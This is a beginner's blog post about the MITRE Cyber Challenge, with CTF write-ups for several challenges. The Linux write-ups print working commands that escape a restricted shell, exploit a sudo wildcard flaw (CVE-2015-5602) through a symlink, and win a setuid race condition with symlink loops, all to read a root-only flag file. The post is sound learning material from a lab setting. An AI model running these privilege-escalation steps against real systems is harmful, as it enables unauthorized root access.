I am just getting started participating in CTF competitions. I decided to step outside of my comfort zone and get involved with some other students from my university and compete in the MITRE Cyber Challenge. I had a great time! This CTF was open for 24 hours, and I spent a lot of that time pounding my head against my keyboard, opening new tabs in my browser, and switching from terminal to website and back again to try and solve as many challenges as possible. I learned a lot and grabbed some flags in the process. I wanted to write down a few things that I have taken away from this experience.

First, don’t wait! I have spent a long time telling myself that I need to catch-up, get better, learn more, and be more “1337” before attempting a CTF. I said to myself that I needed to learn how to code in Assembly, Bash, C, C#, C++, COBOL, Go, Java, Perl, PowerShell, Python, and Ruby before I even thought about jumping into one of these things. Would it help? Probably wouldn’t hurt. Were my dirty little bash one-liners good enough to grab some flags? Hell yes, they were. Learning is a life-long process and one that I enjoy. Don’t let your lack, or supposed lack, of knowledge keep you from participating in one of these challenges. I learned more during this 24 hours than I can usually get out of a week of studying.

Fail, fail, and fail again. In one way or another, you know the saying. The CTF is a low stake failure. You’re not, hopefully, going to get fired for not successfully grabbing a flag in one of these challenges. You know that the flag is there, all you have to do is (__fill in the blank__) your way to it. Now is the time to learn how to use that new command or pull out the dusty tools you haven’t needed to use in a while. Go ahead and bang your head on the keyboard a few times, rage quit the terminal session, or load up a different flavor of OS because the one you were using sucks. Then, get back to it.

Screenshots and documentation. You will notice when you finally get to the write-up section that there is a noticeable lack of screenshots awaiting your viewing pleasure. I should have done a better job of this. A penetration test would require much more thorough documentation, and I should use these opportunities to increase my proficiency at documenting the steps that I have taken to achieve the results.

Enough rambling old man, get on to the write-ups!

I apologize again for the lack of screenshots, I will do better next time. And there will definitely be a next time.

Write-Ups

Binary RE – In Plain Text (50)

In this challenge, a file named “challenge” was provided. I downloaded the file and used the xxd command to view its’ contents. I found the flag and submitted it. Quick 50 points!

me$ xxd challenge

I had completely forgotten about the strings command which would have been much easier to use to find the flag.

future_me$ strings challenge | grep [flag_format]

Linux – Clean Room (50)

In this challenge, I used the provided ssh information to get into the box. I typed in ‘ls -la’ and expected to see, well, not: “rbash: ls: restricted”
Fine.
‘cd /’
“rbash: cd: restricted”
‘cat’?
“rbash: cat: restricted”
Hmm, that’s pretty annoying.
‘ssh ctf@stupid_rbash_profile “ls”‘
….
“bin/”
Finally, we are getting somewhere. Alright, search engine “rbash”.
As the name implies, rbash is a restricted shell, time for the next search query, “escape rbash”.

You can sometimes specify when ssh’ing into a box to not use the preferred profile, in this case, rbash. You do this by specifying $SHELL –noprofile when logging in. It worked this time and everything got much easier to work with. I found the flag using the commands below:

me$ ssh ctf@138.247.13.108 "bash --noprofile"
 ctf$ find / -type f -iname "flag"
 ctf$ cat /root/flag.txt

Like I said, no screenshots. Next time.

Linux – January 8, 2014 (100)

In this challenge, I logged in and started to look around. We know from the Clean Room challenge that the flag was stored in /root/flag.txt. Let’s start there…

'ls -la /root/'
"flag.txt"

Perfect, except we don’t have rights to read it. We knew that was coming.

Stumbling around through all the directories I see a file called sudo-1.8.14. Back to the search engine…

“vulnerabilities in sudo 1.8.14”

I come across the following: https://www.exploit-db.com/exploits/37710

This seems perfect.

'cat /etc/sudoers'

At the end of the file we see…

"ctf ALL=(root) NOPASSWD: usr/bin/vim /home/ctf/*/*/HackMe2.txt"

sudo NOPASSWD: and there’s the double wildcard mentioned for CVE-2015-5602!

I created the two directories and a symbolic link to the flag.txt file and that’s another flag!

I made it sound like I got the flag straight off. That’s not true. I ran variations of the following commands maybe 4-5 times before realizing I needed to use sudo in front of /usr/bin/vim. Like I said earlier, lots of headbanging throughout this competition.

ctf@15631f5acf4b:~$ mkdir new1
 ctf@15631f5acf4b:~$ cd new1/
 ctf@15631f5acf4b:~/new1$ mkdir new2
 ctf@15631f5acf4b:~/new1$ cd new2/
 ctf@15631f5acf4b:~/new1/new2$ ln -s /root/flag.txt HackMe2.txt
 ctf@15631f5acf4b:~/new1/new2$ sudo /usr/bin/vim /home/ctf/new1/new2/HackMe2.txt

Linux – Race You (200)

This challenge was awesome! I might just be saying that because it is the first time I have ever done anything like it. I am not a programmer/developer/CS major, although I have taken a few programming courses. Mostly, I have picked up scripting languages like Python and Bash on my own to help me in my job (and I’m not a whiz at either of them). To start off, you are greeted with two files in your home directory. FileChecker and FileChecker.c. Let’s run FileChecker and see if we get an idea of what it does.

./FileChecker ~

You Win!
 [random characters]

Okay, sweet we won!

./FileChecker /root/flag.txt

Access Denied.

Had to try it.

The FileChecker program had its’ setuid bit flipped allowing it to use root privileges. We need to take advantage of this to read the flag file. Let’s take a look into the FileChecker.c source code. Disclaimer: I don’t know C very well, and I made a lot of assumptions reading the source code. My assumptions worked out, but it would be nice to go back and see exactly what the program does. The first thing that we realize is that it checks the user’s rights before opening and reading the contents of the file. If only there were a way that I could change the file after it checks the rights and before it opens and reads the file. That’s a… race condition (the name of the challenge gives away some helpful hints). There were no text-editors available on this box, to write a script you could use echo and append(>>) to write to a file. I went another route and was able to use some bash one-liners running in the background to accomplish the challenge.

First, make a file that our user can access.

touch /home/ctf/new
 echo "hi" >> /home/ctf/new
 ./FileChecker /home/ctf/new

You Win!
 hi

That worked out the way I expected. Now for the fun part. I created two while loops (Yes, they are infinite loops, and maybe could have been written better.) The first ran the FileChecker program and sent the output to a file named log. The second removed our ‘new’ file, created the ‘new’ file, removed the ‘new’ file, and created a symlink to /root/flag.txt called ‘new’. With both of these loops running in the background, I then ran the tail command on the log file while grep’ing for [flag_format]. The output was really noisy, with segmentation faults everywhere. Then, the stars aligned, I caught all the green lights, and the flag appeared.

ctf~$ while true; do ./FileChecker /home/ctf/new; done >> log&
 ctf~$ while true; do rm /home/ctf/new; touch /home/ctf/new; rm /home/ctf/new; ln -s /root/flag.txt /home/ctf/new; done&
 ctf~$ tail -F log | grep MCA

Web – Super Secret Hidden Service (50)

There isn’t too much to say about this challenge. You were given a URL to start with (hxxps://138.247.13.115), I followed the URL in my browser and was greeted with a certificate error:

 138.247.13.115 uses an invalid security certificate.
 The certificate is not trusted because it is self-signed.
 The certificate is only valid for 138.247.13.115.xip.io.

I then entered hxxps://138.247.13.115.xip.io into my browser and was given the flag.

Web – TODO (100)

This challenge involved a website that stored one todo item per page. The pages incremented by one each time. The instructions given mentioned that the author had forgotten which page held the flag. Here is the URL that was given: hxxp://138.247.13.110/todolist/1000/. Curious to find out how many pages there were I changed 1000 to 1001. I then jumped around a bit 300, 700, 50. Okay, things are seeming to line up. The flag is somewhere between 1 and 1000. The curl command can be given a range of numbers to work with, I decided to go ahead and use that method for this challenge. I looked at the page’s source code to see how I needed to format my grep command. I then appended the grep’ed output to a file named todolist. While the command ran, I used the tail -F command with grep [flag_format] to see when I had captured the flag.

me$ curl http://138.247.13.110/todolist/[1-1000]/ | grep "<li><input*" >> todolist
 me$ tail -F todolist | grep MCA